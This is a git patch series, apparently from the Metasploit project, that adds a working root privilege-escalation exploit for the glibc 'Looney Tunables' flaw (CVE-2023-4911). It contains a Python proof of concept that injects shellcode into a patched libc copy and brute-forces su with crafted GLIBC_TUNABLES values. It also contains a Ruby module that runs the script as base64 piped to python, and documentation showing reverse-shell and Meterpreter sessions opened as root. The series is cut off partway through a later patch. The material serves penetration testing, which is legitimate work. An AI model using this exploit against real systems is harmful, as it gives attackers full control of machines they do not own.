From df111afb06ec9a78a4185d6ecd4b84f360028785 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 30 Oct 2023 13:03:56 -0400 Subject: [PATCH 01/15] Glibc Tunables Exploit --- data/exploits/CVE-2023-4911/cve_2023_4911.py | 338 ++++++++++++++++++ .../linux/local/glibc_tunables_priv_esc.md | 124 +++++++ .../linux/local/looney_tunables_lpe.rb | 0 .../linux/local/glibc_tunables_priv_esc.rb | 129 +++++++ 4 files changed, 591 insertions(+) create mode 100644 data/exploits/CVE-2023-4911/cve_2023_4911.py create mode 100644 documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md create mode 100644 documentation/modules/exploit/linux/local/looney_tunables_lpe.rb create mode 100644 modules/exploits/linux/local/glibc_tunables_priv_esc.rb diff --git a/data/exploits/CVE-2023-4911/cve_2023_4911.py b/data/exploits/CVE-2023-4911/cve_2023_4911.py new file mode 100644 index 000000000000..a61655009caf --- /dev/null +++ b/data/exploits/CVE-2023-4911/cve_2023_4911.py @@ -0,0 +1,338 @@ +import binascii +import os +import resource +import time +import struct +import sys + +from ctypes import * +from ctypes.util import find_library +from shutil import which + +TUNABLES_MISCONFIG = b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" +STRING_TABLE_INDEX = "shstrndx" +NUMBER_OF_ENTRIES = "shnum" +ENTRY_SIZE = "shentsize" +ENTRY_KEYS = "name type flags addr offset size link info addralign entsize" +HEADER_ENTRY_FORMAT_64_BIT = " 0: + current_byte = blob_data[current_position] + next_byte = blob_data[current_position + 1] if current_position + 1 < len(blob_data) else None + + if current_byte != 0 and current_byte != 0x2F and next_byte == 0: + path_byte = bytes([current_byte]) + offset_from_start = current_position - start_offset + return {"path": path_byte, "offset": offset_from_start} + + current_position -= 1 + return None + + +def parse_structured_data(structure_format, structure_keys, structure_data): + unpacked_data = struct.unpack(structure_format, structure_data) + parsed_structure = dict(zip(structure_keys.split(" "), unpacked_data)) + return parsed_structure + + +def fetch_library_path(library_name): + class LoadedLibrary(Structure): + _fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)] + + libc_library = CDLL(find_library("c")) + dl_library = CDLL(find_library("dl")) + + dl_info_function = dl_library.dlinfo + dl_info_function.argtypes = c_void_p, c_int, c_void_p + dl_info_function.restype = c_int + + link_map_ptr = c_void_p() + dl_info_function(libc_library._handle, 2, byref(link_map_ptr)) + + return cast(link_map_ptr, POINTER(LoadedLibrary)).contents.l_name + + +def execute_process(executable_path, arguments_list, environment_variables): + libc.execve(executable_path, arguments_list, environment_variables) + + +def execute_and_monitor(executable, arguments, environment): + argument_pointers = (c_char_p * len(arguments))(*arguments) + environment_pointers = (c_char_p * len(environment))(*environment) + + child_pid = os.fork() + if not child_pid: + execute_process(executable, argument_pointers, environment_pointers) + exit(0) + + start_time = time.time() + while True: + try: + pid, status = os.waitpid(child_pid, os.WNOHANG) + if pid == child_pid: + if os.WIFEXITED(status): + return os.WEXITSTATUS(status) & 0xFF7F + else: + return 0 + except: + pass + current_time = time.time() + if current_time - start_time >= 1.5: + os.waitpid(child_pid, 0) + return "Success" + + +class DelayedElfParser: + def __init__(self, filename): + self.data = open(filename, "rb").read() + self.architecture = 64 if self.data[4] == 2 else 32 + + elf_header_size = 0x30 if self.architecture == 64 else 0x24 + + self.header = parse_structured_data( + ELF_ENTRY_FORMAT_64_BIT if self.architecture == 64 else ELF_ENTRY_FORMAT_32_BIT, + ELF_HEADER_KEYS, + self.data[0x10: 0x10 + elf_header_size], + ) + section_header_table_index = self.extract_section_header(self.header[STRING_TABLE_INDEX]) + self.section_header_names = self.data[section_header_table_index["offset"] : section_header_table_index["offset"] + section_header_table_index["size"]] + + def extract_section_header(self, index): + header_offset = self.header["shoff"] + (index * self.header[ENTRY_SIZE]) + entry_format = HEADER_ENTRY_FORMAT_64_BIT if self.architecture == 64 else HEADER_ENTRY_FORMAT_32_BIT + + return parse_structured_data(entry_format, ENTRY_KEYS, self.data[header_offset : header_offset + self.header[ENTRY_SIZE]]) + + def extract_section_header_by_name(self, section_name): + encoded_name = section_name.encode() + for section_index in range(self.header[NUMBER_OF_ENTRIES]): + section_header = self.extract_section_header(section_index) + section_name_data = self.section_header_names[section_header["name"]:].split(b"\x00")[0] + if section_name_data == encoded_name: + return section_header + return None + + def extract_section_by_name(self, section_name): + section_header = self.extract_section_header_by_name(section_name) + if section_header: + start_offset = section_header["offset"] + end_offset = start_offset + section_header["size"] + return self.data[start_offset:end_offset] + return None + + def extract_symbol_value(self, symbol_name): + encoded_name = symbol_name.encode() + dynamic_symbol = self.extract_section_by_name(DYNAMIC_SYMBOL) + dynamic_string = self.extract_section_by_name(DYNAMIC_STRING) + symbol_entry_size = 24 if self.architecture == 64 else 16 + + for entry_index in range(len(dynamic_symbol) // symbol_entry_size): + entry_start = entry_index * symbol_entry_size + + if self.architecture == 64: + symbol_entry = parse_structured_data( + SYMBOL_STRUCTURE_FORMAT_64_BIT, + SYMBOL_STRUCTURE_KEYS_64_BIT, + dynamic_symbol[entry_start: entry_start + symbol_entry_size], + ) + else: + symbol_entry = parse_structured_data( + SYMBOL_STRUCTURE_FORMAT_32_BIT, + SYMBOL_STRUCTURE_KEYS_32_BIT, + dynamic_symbol[entry_start: entry_start + symbol_entry_size], + ) + + entry_name = dynamic_string[symbol_entry["name"]:].split(b"\x00")[0] + if entry_name == encoded_name: + return symbol_entry["value"] + + return None + + +def create_environment(adjustment, address, offset, bits=64): + if bits == 64: + environment = [ + TUNABLES_MISCONFIG + b"P" * adjustment, + TUNABLES_MISCONFIG + b"X" * 8, + TUNABLES_MISCONFIG + b"X" * 7, + b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24, + ] + + padding = 172 + fill = 47 + else: + environment = [ + TUNABLES_MISCONFIG + b"P" * adjustment, + TUNABLES_MISCONFIG + b"X" * 7, + b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14, + ] + + padding = 87 + fill = 47 * 2 + + for j in range(padding): + environment.append(b"") + + if bits == 64: + environment.append(struct.pack("> (i * 8)) & 0xFF == 0: + stack_address |= 0x10 << (i * 8) + + #print("The stack address being used is: 0x%x" % stack_address) + + environment = create_environment(BUILD_IDS[dynamic_linker_build_id], stack_address, potential_path["offset"], + su_binary_elf.architecture) + count = 1 + #print('Entering the true loop') + argv = [b"su", b"--help", None] + while True: + #if count % 0x10 == 0: + # sys.stdout.write(".") + # sys.stdout.flush() + if execute_and_monitor(su_binary_path.encode(), argv, environment) == "Success": + #print("After %d tries: booya" % count) + exit(0) + count += 1 \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md new file mode 100644 index 000000000000..a76e12b6b6ac --- /dev/null +++ b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md @@ -0,0 +1,124 @@ +## Vulnerable Application + +A buffer overflow was exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment +variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when +launching binaries with SUID permission to execute code in the context of the root user. + +### Description + +The GLIBC_TUNABLES environment variable is parsed in a loop and is expected to be provided in the following format: +`tunable1=aaa:tunable2=bbb`. If the variable is sent in the following format: `tunable1=tunable2=AAA` due to the +absence of the tunable delimiter `:` in the string, the value `tunable2=AAA` is handled incorrectly and results in a +buffer overflow. + +### Setup + +Install [Ubuntu 22.04.3](https://releases.ubuntu.com/jammy/ubuntu-22.04.3-desktop-amd64.iso) while ensuring the VM does +not have internet access. + +Once booted up, edit `/etc/apt/apt.conf.d/20auto-upgrades` and change `APT::Periodic::Unattended-Upgrade` from `1` to +`0` to ensure to ensure the machine doesn't patch itself. + +Ensure that glibc is at version 2.35-0ubuntu3.1 by running the following: +``` +msfuser@msfuser-virtual-machine:~$ ldd --version +ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35 +Copyright (C) 2022 Free Software Foundation, Inc. +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +Written by Roland McGrath and Ulrich Drepper. +``` +The target should be exploitable. + +## Verification Steps + +1. Start `msfconsole` +2. Get a session +3. Do: `use exploit/linux/local/glibc_tunables_priv_esc` +4. Do: `set SESSION [SESSION]` +5. Do: `check` +6. Do: `run` +7. You should get a new *root* session + +## Scenarios + +### Ubuntu 22.04.3 with 2.35-0ubuntu3.1 installed (ARCH_X64) +``` +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set session -1 +session => -1 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555 +lport => 5555 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > options + +Module options (exploit/linux/local/glibc_tunables_priv_esc): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMPILE Auto yes Compile on target (Accepted: Auto, True, False) + SESSION -1 yes The session to run this module on + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.123.1 yes The listen address (an interface may be specified) + LPORT 5555 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Auto + +msf6 exploit(linux/local/glibc_tunables_priv_esc) > run + +View the full module info with the info, or info -d command. + +[*] Started reverse TCP handler on 192.168.123.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. The glibc version (2.35-0ubuntu3.1) found on the target appears to be vulnerable +[*] Writing '/tmp/2Vkty.py' (13770 bytes) ... +[*] Running python3 /tmp/2Vkty.py +[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes. +[*] Sending stage (3045380 bytes) to 192.168.123.228 +[+] Deleted /tmp/2Vkty.py +[*] Meterpreter session 2 opened (192.168.123.1:5555 -> 192.168.123.228:33522) at 2023-11-15 21:58:37 -0500 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.123.228 +OS : Ubuntu 22.04 (Linux 6.2.0-35-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > + +``` + +### Debian 12 with 2.36-9-deb12u1 installed (ARCH_X64) +``` +msf6 exploit(linux/local/looney_tunables_lpe) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 192.168.123.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. The glibc version (2.36-9-deb12u1) found on the target appears to be vulnerable +[*] Writing '/tmp/SnnDbAMC.py' (13770 bytes) ... +[*] Running python3 /tmp/SnnDbAMC.py +[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes. +[*] Sending stage (38 bytes) to 192.168.123.229 +[+] Deleted /tmp/SnnDbAMC.py +[*] Command shell session 9 opened (192.168.123.1:4444 -> 192.168.123.229:50854) at 2023-11-14 21:03:57 -0500 + +id +uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),113(lpadmin),116(scanner),1000(msfuser) +uname -a +Linux debian 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-2 (2023-07-27) x86_64 GNU/Linux +``` diff --git a/documentation/modules/exploit/linux/local/looney_tunables_lpe.rb b/documentation/modules/exploit/linux/local/looney_tunables_lpe.rb new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb new file mode 100644 index 000000000000..b1f1d187e48d --- /dev/null +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + # includes: is_root? + include Msf::Post::Linux::Priv + # includes: kernel_release + include Msf::Post::Linux::Kernel + # include: get_sysinfo + include Msf::Post::Linux::System + # includes writable?, upload_file, upload_and_chmodx, exploit_data + include Msf::Post::File + # includes register_files_for_cleanup + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)', + 'Description' => %q{ + A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES + environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when + launching binaries with SUID permission to execute code in the context of the root user. + }, + 'Author' => [ + 'Qualys Threat Research Unit', # discovery + 'blasty', # PoC + 'jheysel-r7' # msf module + ], + 'References' => [ + [ 'CVE', '2023-4911'], + [ 'URL', 'https://haxx.in/files/gnu-acme.py'], + [ 'URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'], + ['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'], + ['URL', 'https://ubuntu.com/security/CVE-2023-4911'] + ], + 'License' => MSF_LICENSE, + 'Platform' => [ 'linux', 'unix' ], + 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_AARCH64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PrependSetresgid' => true, + 'PrependSetresuid' => true, + 'WfsDelay' => 600 + }, + 'DisclosureDate' => '2023-10-03', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_advanced_options([ + OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]) + ]) + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + write_file path, data + ensure + register_file_for_cleanup(path) + end + + def find_exec_program + %w[python python3].select(&method(:command_exists?)).first + end + + def check + glibc_version = cmd_exec('ldd --version').scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first + return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version + + sysinfo = get_sysinfo + case sysinfo[:distro] + when 'ubuntu' + if (Rex::Version.new('2.35-0ubuntu3.4') > Rex::Version.new(glibc_version) && Rex::Version.new('2.35') > Rex::Version.new(glibc_version)) || + (Rex::Version.new('2.37-0ubuntu2.1') > Rex::Version.new(glibc_version) && Rex::Version.new('2.37') > Rex::Version.new(glibc_version)) || + (Rex::Version.new('2.38-1ubuntu6') > Rex::Version.new(glibc_version) && Rex::Version.new('2.38') > Rex::Version.new(glibc_version)) + return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") + end + when 'debian' + # Debian's version contain a "+" which Rex complains about via: ArgumentError Malformed version number string + glibc_version.gsub!('+', '-') + if (Rex::Version.new('2.31-13-deb11u7') > Rex::Version.new(glibc_version) && Rex::Version.new('2.31') > Rex::Version.new(glibc_version)) || + (Rex::Version.new('2.36-9-deb12u3') > Rex::Version.new(glibc_version) && Rex::Version.new('2.36') > Rex::Version.new(glibc_version)) + return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") + end + else + return CheckCode::Unknown('The module has not been tested against this Linux distribution') + end + CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable") + end + + def exploit + fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root? + python_binary = find_exec_program + fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary + vprint_status("Using '#{python_binary}' to run the exploit") + path = datastore['WritableDir'] + + # The python script assumes the working directory is the one we can write to. + cmd_exec("cd #{datastore['WritableDir']}") + python_script = rand_text_alphanumeric(5..10) + '.py' + shell_code = payload.encoded.unpack('H*').first + exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code) + upload("#{path}/#{python_script}", exploit_data) + cmd = "#{python_binary} #{path}/#{python_script}" + print_status("Running #{cmd}") + + # If there is no target for the ld.so build ID found by the PoC, it will error immediately and the output will be displayed + # If there is no response from cmd_exec after the timeout this indicates a build ID has been found and exploit is running successfully + output = cmd_exec(cmd) + if output.blank? + print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.') + else + print_line(output) + end + end +end From d9aa7f914ed6d4fce0bcf7a80360174b761a4278 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 14 Dec 2023 18:42:09 -0500 Subject: [PATCH 02/15] Added newline to PoC and removed empty file --- data/exploits/CVE-2023-4911/cve_2023_4911.py | 2 +- .../modules/exploit/linux/local/looney_tunables_lpe.rb | 0 2 files changed, 1 insertion(+), 1 deletion(-) delete mode 100644 documentation/modules/exploit/linux/local/looney_tunables_lpe.rb diff --git a/data/exploits/CVE-2023-4911/cve_2023_4911.py b/data/exploits/CVE-2023-4911/cve_2023_4911.py index a61655009caf..8a1737ddec20 100644 --- a/data/exploits/CVE-2023-4911/cve_2023_4911.py +++ b/data/exploits/CVE-2023-4911/cve_2023_4911.py @@ -335,4 +335,4 @@ def error_and_exit(error_msg): if execute_and_monitor(su_binary_path.encode(), argv, environment) == "Success": #print("After %d tries: booya" % count) exit(0) - count += 1 \ No newline at end of file + count += 1 diff --git a/documentation/modules/exploit/linux/local/looney_tunables_lpe.rb b/documentation/modules/exploit/linux/local/looney_tunables_lpe.rb deleted file mode 100644 index e69de29bb2d1..000000000000 From c6a68097005ce8299b25d1093f3ee291c8de76b2 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 18 Dec 2023 19:41:49 -0500 Subject: [PATCH 03/15] Updated attribution --- modules/exploits/linux/local/glibc_tunables_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index b1f1d187e48d..c2264fb979d3 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -30,7 +30,7 @@ def initialize(info = {}) }, 'Author' => [ 'Qualys Threat Research Unit', # discovery - 'blasty', # PoC + 'blasty ', # PoC 'jheysel-r7' # msf module ], 'References' => [ From 2ed3b771edd55f94710682be2debde2f4a55bf74 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 19 Dec 2023 00:26:54 -0500 Subject: [PATCH 04/15] Updated python exploit --- data/exploits/CVE-2023-4911/cve_2023_4911.py | 25 ++++---------------- 1 file changed, 4 insertions(+), 21 deletions(-) diff --git a/data/exploits/CVE-2023-4911/cve_2023_4911.py b/data/exploits/CVE-2023-4911/cve_2023_4911.py index 8a1737ddec20..0148a6266e05 100644 --- a/data/exploits/CVE-2023-4911/cve_2023_4911.py +++ b/data/exploits/CVE-2023-4911/cve_2023_4911.py @@ -57,6 +57,7 @@ }, } +# Magic offsets for build IDs can be found for versions of glibc by disabling ASLR and using the original PoC: https://haxx.in/files/gnu-acme.py BUILD_IDS = { "69c048078b6c51fa8744f3d7cff3b0d9369ffd53": 561, "3602eac894717d56555552c84fc6b0e4d6a4af72": 561, @@ -96,7 +97,7 @@ def parse_structured_data(structure_format, structure_keys, structure_data): return parsed_structure -def fetch_library_path(library_name): +def fetch_c_library_path(): class LoadedLibrary(Structure): _fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)] @@ -267,18 +268,14 @@ def error_and_exit(error_msg): architecture = os.uname().machine if architecture not in TARGETS.keys(): - error_and_exit("This target's architecturs '%s' is not supported by this exploit" % architecture) - - c_library_path = fetch_library_path("c") - - #print("Found libc = %s" % c_library_path.decode()) + error_and_exit("This target's architecture '%s' is not supported by this exploit" % architecture) + c_library_path = fetch_c_library_path() su_binary_path = which("su") memory_alignment = ((0x100 - (len(su_binary_path) + 1 + 8)) & 7) + 8 su_binary_elf = DelayedElfParser(su_binary_path) dynamic_linker_path = su_binary_elf.extract_section_by_name(".interp").strip(b"\x00").decode('utf-8') - #print("Dynamic linker path: ", dynamic_linker_path) dynamic_linker_elf = DelayedElfParser(dynamic_linker_path) dynamic_linker_build_id = binascii.hexlify( dynamic_linker_elf.extract_section_by_name(GNU_BUILD_ID)[-20:]).decode() @@ -292,18 +289,12 @@ def error_and_exit(error_msg): if libc_start_main == None: error_and_exit("The symbol in the libc ELF '__libc_start_main' could not be resolved.") - #print("__libc_start_main = 0x%x" % libc_start_main) - su_binary_offset = su_binary_elf.extract_section_header_by_name(".dynstr")["offset"] potential_path = find_path_before_null_character(su_binary_elf.data, su_binary_offset) if potential_path is None: error_and_exit("The potential path in the su_binary could not be found.") - #print("The potential path in the su binary was found.") - #print("Using path %s", potential_path["path"]) - #print("At offset %d", potential_path["offset"]) - if not os.path.exists(potential_path["path"]): os.mkdir(potential_path["path"]) @@ -311,7 +302,6 @@ def error_and_exit(error_msg): file_handle.write(libc_elf.data[0:libc_start_main]) file_handle.write(TARGETS[architecture]["shellcode"]) file_handle.write(libc_elf.data[libc_start_main + len(TARGETS[architecture]["shellcode"]):]) - #print("Patched up libc.so.6") stack_address = TARGETS[architecture]["stack_top"] - (1 << (TARGETS[architecture]["stack_aslr_bits"])) @@ -321,18 +311,11 @@ def error_and_exit(error_msg): if (stack_address >> (i * 8)) & 0xFF == 0: stack_address |= 0x10 << (i * 8) - #print("The stack address being used is: 0x%x" % stack_address) - environment = create_environment(BUILD_IDS[dynamic_linker_build_id], stack_address, potential_path["offset"], su_binary_elf.architecture) count = 1 - #print('Entering the true loop') argv = [b"su", b"--help", None] while True: - #if count % 0x10 == 0: - # sys.stdout.write(".") - # sys.stdout.flush() if execute_and_monitor(su_binary_path.encode(), argv, environment) == "Success": - #print("After %d tries: booya" % count) exit(0) count += 1 From 549ee43df9762f5c5fb7ab8c215f9810be80428a Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 19 Dec 2023 00:32:21 -0500 Subject: [PATCH 05/15] Update docs description minor comments --- .../linux/local/glibc_tunables_priv_esc.md | 16 +++++++++- .../linux/local/glibc_tunables_priv_esc.rb | 30 ++++++++++++++----- 2 files changed, 38 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md index a76e12b6b6ac..be3eca337604 100644 --- a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md +++ b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md @@ -2,7 +2,21 @@ A buffer overflow was exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when -launching binaries with SUID permission to execute code in the context of the root user. +launching binaries with SUID permission to execute code in the context of the root user. + +This module targets glibc packaged on Ubuntu and Debian. The specific versions this module targets are: + +Ubuntu: +2.35-0ubuntu3.4 > 2.35 +2.37-0ubuntu2.1 > 2.37 +2.38-1ubuntu6 > 2.38 + +Debian: +2.31-13-deb11u7 > 2.31 +2.36-9-deb12u3 > 2.36 + +Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911 +however this module does not target them. ### Description diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index c2264fb979d3..d5363eabfa31 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Linux::Kernel # include: get_sysinfo include Msf::Post::Linux::System - # includes writable?, upload_file, upload_and_chmodx, exploit_data + # includes writable?, upload_file, upload_and_chmodx, exploit_data, cd include Msf::Post::File # includes register_files_for_cleanup include Msf::Exploit::FileDropper @@ -27,6 +27,20 @@ def initialize(info = {}) A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when launching binaries with SUID permission to execute code in the context of the root user. + + This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are: + + Ubuntu: + 2.35-0ubuntu3.4 > 2.35 + 2.37-0ubuntu2.1 > 2.37 + 2.38-1ubuntu6 > 2.38 + + Debian: + 2.31-13-deb11u7 > 2.31 + 2.36-9-deb12u3 > 2.36 + + Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911 + however this module does not target them. }, 'Author' => [ 'Qualys Threat Research Unit', # discovery @@ -34,15 +48,15 @@ def initialize(info = {}) 'jheysel-r7' # msf module ], 'References' => [ - [ 'CVE', '2023-4911'], - [ 'URL', 'https://haxx.in/files/gnu-acme.py'], - [ 'URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'], + ['CVE', '2023-4911'], + ['URL', 'https://haxx.in/files/gnu-acme.py'], + ['URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'], ['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'], ['URL', 'https://ubuntu.com/security/CVE-2023-4911'] ], 'License' => MSF_LICENSE, 'Platform' => [ 'linux', 'unix' ], - 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_AARCH64 ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, @@ -74,10 +88,12 @@ def upload(path, data) def find_exec_program %w[python python3].select(&method(:command_exists?)).first + rescue => e + fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}") end def check - glibc_version = cmd_exec('ldd --version').scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first + glibc_version = cmd_exec('ldd --version')&.scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version sysinfo = get_sysinfo @@ -109,7 +125,7 @@ def exploit path = datastore['WritableDir'] # The python script assumes the working directory is the one we can write to. - cmd_exec("cd #{datastore['WritableDir']}") + cd(datastore['WritableDir']) python_script = rand_text_alphanumeric(5..10) + '.py' shell_code = payload.encoded.unpack('H*').first exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code) From e858628292f0861da1eb99212dd8cb3d31021c72 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 19 Dec 2023 00:46:11 -0500 Subject: [PATCH 06/15] Execute python payload in memory --- .../linux/local/glibc_tunables_priv_esc.rb | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index d5363eabfa31..010d37c39452 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -79,13 +79,6 @@ def initialize(info = {}) ]) end - def upload(path, data) - print_status "Writing '#{path}' (#{data.size} bytes) ..." - write_file path, data - ensure - register_file_for_cleanup(path) - end - def find_exec_program %w[python python3].select(&method(:command_exists?)).first rescue => e @@ -119,23 +112,18 @@ def check def exploit fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root? + python_binary = find_exec_program fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary vprint_status("Using '#{python_binary}' to run the exploit") - path = datastore['WritableDir'] # The python script assumes the working directory is the one we can write to. cd(datastore['WritableDir']) - python_script = rand_text_alphanumeric(5..10) + '.py' shell_code = payload.encoded.unpack('H*').first exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code) - upload("#{path}/#{python_script}", exploit_data) - cmd = "#{python_binary} #{path}/#{python_script}" - print_status("Running #{cmd}") - # If there is no target for the ld.so build ID found by the PoC, it will error immediately and the output will be displayed - # If there is no response from cmd_exec after the timeout this indicates a build ID has been found and exploit is running successfully - output = cmd_exec(cmd) + # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully + output = cmd_exec("$(echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary})") if output.blank? print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.') else From 4e61596e7aff309bf20bbc8ee69f2c2ceda10037 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 19 Dec 2023 12:15:35 -0500 Subject: [PATCH 07/15] Check Build ID before running exploit --- .../linux/local/glibc_tunables_priv_esc.md | 8 ++-- .../linux/local/glibc_tunables_priv_esc.rb | 46 +++++++++++++++++++ 2 files changed, 49 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md index be3eca337604..a4abc5b49c08 100644 --- a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md +++ b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md @@ -97,14 +97,12 @@ View the full module info with the info, or info -d command. [*] Started reverse TCP handler on 192.168.123.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) 